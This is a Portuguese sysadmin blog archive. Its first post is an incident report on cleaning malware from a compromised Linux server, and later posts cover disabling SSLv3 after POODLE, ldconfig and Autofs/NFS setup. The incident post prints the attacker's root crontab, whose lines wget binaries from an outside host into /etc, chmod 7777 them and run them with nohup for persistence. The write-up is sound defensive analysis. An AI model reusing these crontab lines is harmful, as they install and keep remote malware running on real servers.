Arquivo de etiquetas: redhat

Malware no Linux

Bom dia, boa tarde ou boa noite … 🙂

Hoje foi um dia inusitado, fui chamado para um trabalho e me deparei com um servidor Linux comprometido por um MALWARE, sim um MALWARE que estava instalado na máquina, como não e comum vermos isso nos servidores, vamos a remoção, mas também anotações para poder divulgar, vamos lá.

Identificação

Primeiro de tudo, vamos aos pontos que tenho absoluta certeza que foram estes que levaram a invasão deste servidor,

1 – O firewall mantinha a senha padrão de instalação, isso mesmo a padrão, era um appliance cuja a marca não vem ao caso;

2 – Ainda no firewall havia uma regra de encaminhamento da conexão usada pelo protocolo SSH, na porta padrão 22, diretamente para o servidor que hospedava o MALWARE;

3 – A senha de root fraca;

Estes pontos foram cruciais para comprometer o servidor, ainda que possam existir casos de ambientes que não poderemos bloquear o acesso do usuário root diretamente, podemos ao menos dificultar seu acesso.
A caçada

Ao observar a rede notei diversas quedas de comunicação com o gateway, impossibilitando a conexão de rede de todos desktops da LAN, ao ser informado pelo contratante que ao desligar o servidor Linux a rede voltava ao seu estado normal me concentrei apenas nesta máquina.
O servidor apresentava altos consumos de CPU e memória em diversos momentos, cronometrados até, ao observar os processos que estavam sendo executados na maquina me levou a perceber que o processo que causava o aumento de consumo mudava com muita frequência, logo tentei verificar quem executa o tal processo, chegando scripts de inicialização achei uma informação importante:

/etc/init.d/.SSH2
/etc/init.d/.SSHH2

estes apontavam para um executável dento de /etc/.SSH2, que por sua vez executava os seguintes arquivos:

/etc/gfhjrtfyhuf
/etc/sfewfesfs
/etc/gdmorpen
/etc/fdsfsfvff
/etc/rewgtf3er4t
/etc/smarvtd
/etc/whitptabil
/tmp/gfhjrtfyhuf
/tmp/sfewfesfs
/tmp/gdmorpen
/tmp/fdsfsfvff
/tmp/rewgtf3er4t
/tmp/smarvtd
/tmp/whitptabil

O servidor mantinha conexão com um IP externo alocado na China, por causa de um dos arquivos citados acima, a informação foi verificada usando os comandos netstat e lsof:

netstat -tupan

A saída deste comando mostrava o número do processo, quem executava e a conexão, com o número do processo executei o comando:

lsof -p “PID”

Capturei mais informações sobre este arquivo.

O processo criava uns arquivos “/tmp/.sshdd140*” que em pouco tempo tomavam a CPU da maquina inteira impossibilitando a conexão, e o que é pior, neste momento o servidor tentará fazer spoofing na rede inteira, fazendo todas as conexões caírem no /dev/null.

Ao remover os arquivos, o que acontecia??? eles se criavam novamente … 🙁
Mas ai ficou mais fácil, vamos analisar a CRON, buscando informações no serviço dentre seus arquivos encontrei no /var/spool/cron/root as seguintes entradas:

*/99 * * * * killall -9 fdsfsfvff
*/98 * * * * killall -9 gfhjrtfyhuf
*/97 * * * * killall -9 fdsfsfvff
*/96 * * * * killall -9 rewgtf3er4t
*/95 * * * * killall -9 whitptabil
*/94 * * * * killall -9 gdmorpen
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gfhjrtfyhuf
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/sfewfesfs
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/fdsfsfvff
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/smarvtd
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/rewgtf3er4t
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/whitptabil
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gdmorpen
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir gdmorpen
*/360 * * * * cd /etc;rm -rf dir fdsfsfvff
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir smarvtd
*/360 * * * * cd /etc;rm -rf dir whitptabil
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir gdmorpen.*
*/1 * * * * cd /etc;rm -rf dir fdsfsfvff.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir smarvtd.*
*/1 * * * * cd /etc;rm -rf dir whitptabil.*
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * chmod 7777 /etc/gdmorpen
*/1 * * * * chmod 7777 /etc/fdsfsfvff
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/smarvtd
*/1 * * * * chmod 7777 /etc/whitptabil
*/1 * * * * chmod 7777 /tmp/gfhjrtfyhuf
*/1 * * * * chmod 7777 /tmp/sfewfesfs
*/1 * * * * chmod 7777 /tmp/gdmorpen
*/1 * * * * chmod 7777 /tmp/fdsfsfvff
*/1 * * * * chmod 7777 /tmp/rewgtf3er4t
*/1 * * * * chmod 7777 /tmp/smarvtd
*/1 * * * * chmod 7777 /tmp/whitptabil
*/120 * * * * nohup /tmp/whitptabil > /dev/null 2>&1&
*/120 * * * * nohup /tmp/smarvtd > /dev/null 2>&1&
*/120 * * * * nohup /tmp/rewgtf3er4t > /dev/null 2>&1&
*/120 * * * * nohup /tmp/fdsfsfvff > /dev/null 2>&1&
*/120 * * * * nohup /tmp/gdmorpen > /dev/null 2>&1&
*/120 * * * * nohup /tmp/sfewfesfs > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/98 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1&
*/96 * * * * nohup /etc/whitptabil > /dev/null 2>&1&
*/95 * * * * nohup /etc/gdmorpen > /dev/null 2>&1&
*/1 * * * * echo “unset MAILCHECK” >> /etc/profile

Vejam todas entradas maliciosas que estavam configuradas.

Somente após todas as remoces devidas e configurações segundo as boas praticas de segurança no servidor e no firewall, pude comemorar 🙂

Vivendo aprendendo e debugando… 🙂

Google’s POODLE affects oodles

SSL v3

Nova vulnerabilidade muito importante foi encontrada, dessa vez pela equipe do Google, o protocolo com problemas é o SSL v3.0.

O artigo original é este:
http://googleonlinesecurity.blogspot.com.au/2014/10/this-poodle-bites-exploiting-ssl-30.html

Segundo estudo do site NETCRAFT 97% dos servidores WEB hoje estão vulneráveis:
http://news.netcraft.com/archives/2014/10/15/googles-poodle-affects-oodles.html

“Se um dos lados só suporta SSL 3.0, em seguida, toda a esperança se foi, e um atualização necessária para evitar a criptografia insegura”, escrevem eles em O POODLE Mordida: explorando o SSL 3.0 Fallback [PDF] .

A comunidade Openssl divulgou este artigo sobre a vulnerabilidade:
https://www.openssl.org/~bodo/ssl-poodle.pdf

Ao negociar a criptografia usada na sessão entre o navegador web e o servidor web, no momento inicial o servidor tenta a solicitação com a criptografia mais alta disponibilizada em sua configuração, no entanto caso o navegador não suporte a criptografia usada no navegador do usuário, pode existir várias outras tentativas, até mesmo por falhas na comunicação de rede, até o momento em que o navegador e o servidor web negociem a versão mais adequada para realizar a transferência dos dados, porém um atacante ativo que possui controle dessa negociação pode fazer o servidor iniciar a comunicação usando o protocolo SSL v3, onde todos os navegadores dão suporte.

Desabilitar SSLv3 no Apache

The SSL configuration file changed slightly in httpd version 2.2.23. For httpd version 2.2.23 and newer, specify TLSv1, TLSv1.1, and TLSv1.2.
SSLProtocol +TLSv1 +TLSv1.1 +TLSv1.2
For httpd version 2.2.22 and older, only specify TLSv1. This is treated as a wildcard for all TLS versions.
SSLProtocol TLSv1            

Solução oficial da redhat:

https://access.redhat.com/solutions/1232413

Configurando uma nova LIB para o sistema Linux

Para adicionar uma nova coleção de bibliotecas no Linux o SO conta com um comando de atualização que pode ser executado apenas digitando “ldconfig”, alguns programas instalam seus binários e lib num lugar diferente do padrão para o SO, sendo assim o Linux não vai poder executar estes binários.
Corrigindo esse problema você mesmo pode mapear suas lib no sistema;

Descobrindo onde estão as libs

root@redhat::~ # locate libsqlplus.so
/usr/lib/oracle/11.2/client/lib/libsqlplus.so

configurando novo arquivo para a lib do Oracle
se o arquivo não existir você mesmo deve criar

root@redhat::~ # vim /etc/ld.so.conf.d/oracle.conf
/usr/lib/oracle/11.2/client/lib/

Após isso basta executar o “ldconfig” e sua biblioteca Oracle estará disponível no sistema.

<a href=”http://br.linkedin.com/pub/lauro-de-paula-gomes/2b/9bb/6a3″>
<img src=”http://www.linkedin.com/img/webpromo/btn_viewmy_160x33_pt_BR.png?locale=” width=”160″ height=”33″ border=”0″ alt=”Visualizar perfil de Lauro de Paula Gomes no LinkedIn”>
</a>

Autofs + NFS

A finalidade deste serviço seria aperfeiçoar a montagem dos compartilhamentos para o usuário e diminuir utilização de recurso, imagine que toda vez que um usuário de seu departamento precisa-se de uma pasta que estaria compartilhada em seu servidor NFS, exemplo: /home/central/nfs, mas não estaria sempre disponível por questão de segurança e sim sobre demanda deste usuário. Segue um pequeno tutorial para faze-lo sem problemas.

Configurar serviço NFS

root@redhat::~ # echo "/share/    *(rw,no_root_squash)" > /etc/exports

Liberar no Selinux

root@redhat::~ # semanage fcontext -a -t public_content_rw_t /share'(/.*)?'
root@redhat::~ # restorecon -RFv /share/

Iniciar o serviço NFS

root@redhat::~ # service rpcbind start
root@redhat::~ # service nfs start

Colocar na inicialização o NFS

root@redhat::~ # chkconfig nfs on
root@redhat::~ # chkconfig rpcbind on

Verificar o serviço de NFS

root@redhat::~ # exportfs -av

Descomente as seguintes linhas para poder liberar no firewall as portas corretas

root@redhat::~ # vim /etc/sysconfig/nfs
root@redhat::~ # grep -v ^# /etc/sysconfig/nfs
RQUOTAD_PORT=875
LOCKD_TCPPORT=32803
LOCKD_UDPPORT=32769
MOUNTD_PORT=892

Liberando regras no Iptables

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m multiport -p tcp --dports 111,2049,892,875,32803,32769 -j ACCEPT
iptables -A INPUT -m multiport -p udp --dports 111,2049,892,875,32803,32769 -j ACCEPT

Configurando o AutoFS

root@redhat::~ # vim /etc/auto.master
/home/central     /etc/auto.nfs
root@redhat::~ # vim /etc/auto.nfs
nfs     -rw,defaults,user       localhost:/share/docs

Inicializando e deixando permanente o AutoFS

root@redhat::~ # service autofs stop && service autofs start
root@redhat::~ # chkconfig autofs on

Pronto!!!! Agora quando o usuário entrar na pasta “/home/central/nfs” estará entrado em um compartilhamento do seu NFS, lembre-se de setar todas as permissões para o usuário poder gravar e ler dentro deste diretório.

 

<a href=”http://br.linkedin.com/pub/lauro-de-paula-gomes/2b/9bb/6a3″>
<img src=”http://www.linkedin.com/img/webpromo/btn_viewmy_160x33_pt_BR.png?locale=” width=”160″ height=”33″ border=”0″ alt=”Visualizar perfil de Lauro de Paula Gomes no LinkedIn”>
</a>